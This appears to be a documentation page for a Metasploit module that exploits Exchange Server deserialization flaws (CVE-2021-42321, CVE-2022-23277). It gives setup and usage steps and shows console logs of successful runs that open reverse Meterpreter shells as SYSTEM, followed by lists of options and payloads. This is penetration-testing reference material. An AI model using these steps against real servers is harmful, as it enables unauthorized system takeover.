Microsoft Exchange Server ChainedSerializationBinder RCE - Metasploit


This page contains detailed information about how to use the exploit/windows/http/exchange_chainedserializationbinder_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft Exchange Server ChainedSerializationBinder RCE
Module: exploit/windows/http/exchange_chainedserializationbinder_rce
Source code: modules/exploits/windows/http/exchange_chainedserializationbinder_rce.rb
Disclosure date: 2021-12-09
Last modification time: 2022-08-17 17:36:31 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-42321, CVE-2022-23277

This module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.

Basic Usage


msf > use exploit/windows/http/exchange_chainedserializationbinder_rce
msf exploit(exchange_chainedserializationbinder_rce) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • HttpUsername: The username to log into the Exchange server as

  • HttpPassword: The password to use to authenticate to the Exchange server

Knowledge Base


Vulnerable Application


Description

This module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU.

Note that authentication is required to exploit these vulnerabilities.

By leveraging this vulnerability, attackers can bypass the ChainedSerializationBinder's deserialization deny list and execute code as NT AUTHORITY\SYSTEM.

CVE-2021-42321 (Deny List Typo)


This specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an entry was incorrectly defined as System.Security.ClaimsPrincipal instead of the proper value of System.Security.Claims.ClaimsPrincipal.

Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server 2016.

CVE-2022-23277 (Type Spoof Bypass)


Due to ChainedSerializationBinder.BindToType(string, string) and ObjectReader.FastBindToType(string, string) using different algorithms, it is possible to bypass validation checks and load a malicious object.

Tested against Exchange Server 2019 CU11 SU3, build 15.2.986.15 via KB5008631.

Setup

  1. Set up a version of Windows Server 2019.
  2. Download Exchange Server 2019 CU11 SU0 from https://download.microsoft.com/download/5/3/e/53e75dbd-ca33-496a-bd23-1d861feaa02a/ExchangeServer2019-x64-CU11.ISO
  3. Follow the guide at https://petri.com/how-to-install-active-directory-in-windows-server-2019-server-manager to turn the server into an AD server.
  4. Mount the ISO and run Setup.exe. It should prompt you install .NET Framework, Visual Studio C++ Redistributables, and Unified Communications Managed API. Install these and then reboot.
  5. Follow https://www.nucleustechnologies.com/blog/step-by-step-guide-to-install-exchange-server-2019-part-1/ and install the required features.
  6. Keep running Setup.exe and installing extra dependencies as needed as per the links.
  7. When you do get all dependencies installed, Exchange should give a button called Install which should no longer be greyed out. Press this to install and accept any warnings that appear.
  8. Go to https://ip here/owa/ and make sure you can see the Exchange Outlook login page.

Verification Steps


  1. Follow Setup to set up a vulnerable target.
  2. msfconsole
  3. set RHOST <target IP address>
  4. set LHOST <IP for target to connect back to>
  5. set HttpUsername <username of OWA user to log in as>
  6. set HttpPassword <password for this OWA user>
  7. Optional: set DOMAIN <domain of OWA user>
  8. Optional: set VHOST <vhost of target>
  9. exploit
  10. You should get a shell on the target as NT AUTHORITY\SYSTEM if it is vulnerable.

Targets


0

Windows Command

1

Windows Dropper

2

PowerShell Stager

Options


HttpUsername

Set this to the OWA username. This can also be set to a valid domain username that has permissions to log into Exchange.

HttpPassword

Set this to the OWA password. This can also be set to the password for a domain user that has permissions to log into Exchange.

Scenarios


Exchange Server 2016 CU22 (Build 15.1.2375.7) on Windows Server 2016 x64 (CVE-2021-42321)

msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce 
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
HttpPassword => Password1
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
DOMAIN => EXCHG
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options 

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  Password1        yes       The password to use to authenticate to the Exchange server
   HttpUsername  aliddle          yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.42   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Command


msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is vulnerable to CVE-2021-42321
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAAACmbL
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[!] Was not able to successfully delete the existing user configuration on the Inbox folder!
[!] Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:60610) at 2022-08-16 15:56:01 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-BPID95ACQ7E
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : EXCHG
Logged On Users : 4
Meterpreter     : x86/windows
meterpreter >

Exchange Server 2016 CU22 Jan22SU (Build 15.1.2375.18) on Windows Server 2016 x64 (CVE-2022-23277)

msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce 
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
HttpPassword => Password1
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
DOMAIN => EXCHG
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
RHOSTS => 192.168.159.42
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options 

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  Password1        yes       The password to use to authenticate to the Exchange server
   HttpUsername  aliddle          yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.42   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Command


msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.18 is vulnerable to CVE-2022-23277
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAB3/PSE
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:59440) at 2022-08-16 15:47:55 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-BPID95ACQ7E
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : EXCHG
Logged On Users : 7
Meterpreter     : x86/windows
meterpreter >

Exchange Server 2019 CU11 Jan22SU (Build 15.2.986.15) on Windows Server 2019 x64 (CVE-2022-23277)

msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce 
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
HttpUsername => aliddle
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1!
HttpPassword => Password1!
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN MSFLAB.LOCAL
DOMAIN => MSFLAB.LOCAL
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options 

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  Password1!       yes       The password to use to authenticate to the Exchange server
   HttpUsername  aliddle          yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.11   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Command


msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is an Exchange Server!
[+] The target appears to be vulnerable. Exchange Server 15.2.986.15 is vulnerable to CVE-2022-23277
[*] Getting the user's inbox folder's ID and ChangeKey ID...
[+] ChangeKey value for Inbox folder is AQAAABYAAACLmD9luiUIToCqtjHJMHTFAAADDlsC
[+] ID value for Inbox folder is AQMkAGMzMmEwZDQyLTJmMmYtNDdlNi04Nzg0LTNiMmNmMTkwZmNjAGIALgAAAwy2SlsLo7NNtRvmAZGoLDABAIuYP2W6JQhOgKq2MckwdMUAAAIBDAAAAA==
[*] Deleting the user configuration object associated with Inbox folder...
[+] Successfully deleted the user configuration object associated with the Inbox folder!
[*] Creating the malicious user configuration object on the Inbox folder!
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
[*] Sending stage (175686 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:63854) at 2022-08-16 15:49:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : EXCHANGE2019
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x86/windows
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the windows/http/exchange_chainedserializationbinder_rce exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce

[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show info

       Name: Microsoft Exchange Server ChainedSerializationBinder RCE
     Module: exploit/windows/http/exchange_chainedserializationbinder_rce
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-09

Provided by:
  pwnforsp
  zcgonvh
  Microsoft Threat Intelligence Center
  Microsoft Security Response Center
  peterjson
  testanull
  Grant Willcox
  Spencer McIntyre
  Markus Wulftange

Module side effects:
 ioc-in-logs
 config-changes

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows Command
  1   Windows Dropper
  2   PowerShell Stager

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  HttpPassword                   yes       The password to use to authenticate to the Exchange server
  HttpUsername                   yes       The username to log into the Exchange server as
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT         443              yes       The target port (TCP)
  SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.
                                           0.0 to listen on all addresses.
  SRVPORT       8080             yes       The local port to listen on.
  SSL           true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI     /                yes       Base path
  URIPATH                        no        The URI to use for this exploit (default is random)
  VHOST                          no        HTTP server virtual host

Payload information:

Description:
  This module exploits vulnerabilities within the 
  ChainedSerializationBinder as used in Exchange Server 2019 CU10, 
  Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange 
  Server 2016 CU22 all prior to Mar22SU. Note that authentication is 
  required to exploit these vulnerabilities.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-42321
  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321
  https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7
  https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
  https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398
  https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
  https://nvd.nist.gov/vuln/detail/CVE-2022-23277
  https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html
  https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c

Module Options


This is a complete list of options available in the windows/http/exchange_chainedserializationbinder_rce exploit:

msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options

Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   yes       The password to use to authenticate to the Exchange server
   HttpUsername                   yes       The username to log into the Exchange server as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         443              yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0
                                            .0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                yes       Base path
   URIPATH                        no        The URI to use for this exploit (default is random)
   VHOST                          no        HTTP server virtual host

Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.126    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows Command

Advanced Options


Here is a complete list of advanced options supported by the windows/http/exchange_chainedserializationbinder_rce exploit:

msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show advanced

Module advanced options (exploit/windows/http/exchange_chainedserializationbinder_rce):

   Name                                Current Setting                     Required  Description
   ----                                ---------------                     --------  -----------
   AutoCheck                           true                                no        Run check before exploit
   CMDSTAGER::DECODER                                                      no        The decoder stub to use.
   CMDSTAGER::FLAVOR                   auto                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, d
                                                                                     ebug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wg
                                                                                     et, curl, fetch, lwprequest, psh_invokewebrequest, ftp_http)
   CMDSTAGER::SSL                      false                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                         no        Writable directory for staged files
   CMDSTAGER::URIPATH                                                      no        Payload URI path for supported stagers
   ContextInformationFile                                                  no        The information file that contains context information
   DOMAIN                              WORKSTATION                         yes       The domain to use for Windows authentication
   DigestAuthIIS                       true                                no        Conform to IIS, should work for most servers. Only set to fa
                                                                                     lse for non-IIS servers
   DisablePayloadHandler               false                               no        Disable the handler code for the selected payload
   EXE::Custom                                                             no        Use custom exe instead of automatically generating a payload
                                                                                      exe
   EXE::EICAR                          false                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                       false                               no        Use the default template in case the specified one is missin
                                                                                     g
   EXE::Inject                         false                               no        Set to preserve the original EXE function
   EXE::OldMethod                      false                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                               no        The directory in which to look for the executable template
   EXE::Template                                                           no        The executable template file name.
   EnableContextEncoding               false                               no        Use transient context when encoding payloads
   FingerprintCheck                    true                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit                        false                               no        Override check result
   HttpClientTimeout                   5                                   no        HTTP connection and receive timeout
   HttpRawHeaders                                                          no        Path to ERB-templatized raw headers to append to existing he
                                                                                     aders
   HttpTrace                           false                               no        Show the raw HTTP requests and responses
   HttpTraceColors                     red/blu                             no        HTTP request and response colors for HttpTrace (unset to dis
                                                                                     able)
   HttpTraceHeadersOnly                false                               no        Show HTTP headers only in HttpTrace
   ListenerBindAddress                                                     no        The specific IP address to bind to if different from SRVHOST
   ListenerBindPort                                                        no        The port to bind to if different from SRVPORT
   ListenerComm                                                            no        The specific communication channel to use for this service
   MSI::Custom                                                             no        Use custom msi instead of automatically generating a payload
                                                                                      msi
   MSI::EICAR                          false                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                               no        The directory in which to look for the msi template
   MSI::Template                                                           no        The msi template file name
   MSI::UAC                            false                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if acce
                                                                                     pted)
   Powershell::encode_final_payload    false                               yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload    false                               yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place           false                               yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                false                               yes       Encrypt PSH with RC4
   Powershell::method                  reflection                          yes       Payload delivery method (Accepted: net, reflection, old, msi
                                                                                     l)
   Powershell::no_equals               false                               yes       Pad base64 until no "=" remains
   Powershell::noninteractive          true                                yes       Execute powershell without interaction
   Powershell::persist                 false                               yes       Run the payload in a loop
   Powershell::prepend_protections_by  auto                                yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
   pass
   Powershell::prepend_sleep                                               no        Prepend seconds of sleep
   Powershell::remove_comspec          false                               yes       Produce script calling powershell directly
   Powershell::strip_comments          true                                yes       Strip comments
   Powershell::strip_whitespace        false                               yes       Strip whitespace
   Powershell::sub_funcs               false                               yes       Substitute function names
   Powershell::sub_vars                true                                yes       Substitute variable names
   Powershell::wrap_double_quotes      true                                yes       Wraps the -Command argument in single quotes
   SSLCipher                                                               no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                      false                               no        Enable SSL/TLS-level compression
   SSLServerNameIndication                                                 no        SSL/TLS Server Name Indication (SNI)
   SSLVersion                          Auto                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL
                                                                                     23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TL
                                                                                     S1, TLS1.1, TLS1.2)
   SendRobots                          false                               no        Return a robots.txt file if asked for one
   URIHOST                                                                 no        Host to use in URI (useful for tunnels)
   URIPORT                                                                 no        Port to use in URI (useful for tunnels)
   UserAgent                           Mozilla/5.0 (Macintosh; Intel Mac   no        The User-Agent header to use for all requests
                                       OS X 12.2; rv:97.0) Gecko/20100101
                                        Firefox/97.0
   VERBOSE                             false                               no        Enable detailed status messages
   WORKSPACE                                                               no        Specify the workspace for this module
   WfsDelay                            10                                  no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name                                Current Setting  Required  Description
   ----                                ---------------  --------  -----------
   AutoLoadStdapi                      true             yes       Automatically load the Stdapi extension
   AutoRunScript                                        no        A script to run automatically on session creation.
   AutoSystemInfo                      true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess                   false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout            30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding                 false            no        Encode the second stage payload
   EnableUnicodeEncoding               false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                       no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                                 no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild               false            no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                              no        The Meterpreter debug logging configuration, see https://github.com/rapid7/meta
                                                                  sploit-framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
   PayloadBindPort                                      no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                            no        The displayed command line that will be used by the payload
   PayloadUUIDName                                      no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                       no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                      no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking                 false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries                     0                yes       How many additional successful pingbacks
   PingbackSleep                       30               yes       Time (in seconds) to sleep between pingbacks
   Powershell::encode_final_payload    false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload    false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place           false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                false            yes       Encrypt PSH with RC4
   Powershell::method                  reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals               false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive          true             yes       Execute powershell without interaction
   Powershell::persist                 false            yes       Run the payload in a loop
   Powershell::prepend_protections_by  auto             yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
   pass
   Powershell::prepend_sleep                            no        Prepend seconds of sleep
   Powershell::remove_comspec          false            yes       Produce script calling powershell directly
   Powershell::strip_comments          true             yes       Strip comments
   Powershell::strip_whitespace        false            yes       Strip whitespace
   Powershell::sub_funcs               false            yes       Substitute function names
   Powershell::sub_vars                true             yes       Substitute variable names
   Powershell::wrap_double_quotes      true             yes       Wraps the -Command argument in single quotes
   PrependMigrate                      false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                   no        Process to spawn and run shellcode in
   ReverseAllowProxy                   false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through
                                                                   proxy but directly to LHOST
   ReverseListenerBindAddress                           no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                              no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                                  no        The specific communication channel to use for this listener
   ReverseListenerThreaded             false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout         300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout            604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal                   3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait                    10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                         no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                            no        Additional registers to preserve in the staged payload if EnableStageEncoding i
                                                                  s set
   StageEncodingFallback               true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount                    10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait                     5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                             false            no        Enable detailed status messages
   WORKSPACE                                            no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/exchange_chainedserializationbinder_rce module can exploit:

msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Command
   1   Windows Dropper
   2   PowerShell Stager

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/exchange_chainedserializationbinder_rce exploit:

msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show payloads

Compatible Payloads
===================

   #    Name                                                                       Disclosure Date  Rank    Check  Description
   -    ----                                                                       ---------------  ----    -----  -----------
   0    payload/cmd/windows/adduser                                                                 normal  No     Windows Execute net user /ADD CMD
   1    payload/cmd/windows/bind_lua                                                                normal  No     Windows Command Shell, Bind TCP (via Lua)
   2    payload/cmd/windows/bind_perl                                                               normal  No     Windows Command Shell, Bind TCP (via Perl)
   3    payload/cmd/windows/bind_perl_ipv6                                                          normal  No     Windows Command Shell, Bind TCP (via perl) IPv6
   4    payload/cmd/windows/bind_ruby                                                               normal  No     Windows Command Shell, Bind TCP (via Ruby)
   5    payload/cmd/windows/download_eval_vbs                                                       normal  No     Windows Executable Download and Evaluate VBS
   6    payload/cmd/windows/download_exec_vbs                                                       normal  No     Windows Executable Download and Execute (via .vbs)
   7    payload/cmd/windows/generic                                                                 normal  No     Windows Command, Generic Command Execution
   8    payload/cmd/windows/jjs_reverse_tcp                                                         normal  No     Windows Shell, Reverse TCP (via jjs)
   9    payload/cmd/windows/powershell/adduser                                                      normal  No     Powershell Exec
   10   payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp                               normal  No     Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager
   11   payload/cmd/windows/powershell/custom/bind_hidden_tcp                                       normal  No     Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager
   12   payload/cmd/windows/powershell/custom/bind_ipv6_tcp                                         normal  No     Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)
